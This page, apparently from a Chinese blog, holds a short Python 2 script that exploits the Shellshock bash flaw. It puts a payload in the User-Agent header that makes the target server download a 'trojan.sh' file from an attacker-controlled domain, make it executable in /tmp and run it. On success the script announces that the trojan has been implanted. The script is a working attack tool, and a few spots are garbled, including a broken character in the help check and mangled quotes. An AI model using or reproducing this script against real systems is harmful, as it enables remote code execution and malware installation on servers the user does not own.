bash测试脚本py

  1. #!/usr/bin/python

  2. # coding=UTF-8

  3. __author__ = ‘Andy’

  4. import requests

  5. import sys

  6. try:

  7. if sys.argv[1] == ‘�Chelp’:

  8. print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’

  9. exit(1)

  10. except IndexError:

  11. print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’

  12. exit(1)

  13. headers = {

  14. ‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8′,

  15. ‘Accept-Encoding’: ‘gzip,deflate,sdch’,

  16. ‘Accept-Language’: ‘zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4′,

  17. ‘Cache-Control’: ‘no-cache’,

  18. ‘Connection’: ‘keep-alive’,

  19. ‘Referrer’ : ’10001.qzone.qq.com’,

  20. ‘User-Agent’: ‘() { :; }; /usr/bin/wget ‘+sys.argv[1]+’/'+sys.argv[2]+’ -O /tmp/’+sys.argv[2]+’ | /bin/chmod 777 /tmp/’+sys.argv[2]+’ | /tmp/’+sys.argv[2]+”

  21. }

  22. try:

  23. res = requests.get(sys.argv[3], headers=headers, timeout=10)

  24. except ConnectionError:

  25. print ‘DNS 查询失败’

  26. except HTTPError:

  27. print ‘DNS 查询失败’

  28. except Timeout:

  29. print ‘服务器响应超时’

  30. except TooManyRedirects:

  31. print ‘超过了设定的最大重定向次数’

  32. if res.status_code == 200:

  33. print ‘植入木马已经完成, 请检查您的服务器下载记录’


你可能感兴趣的:(python)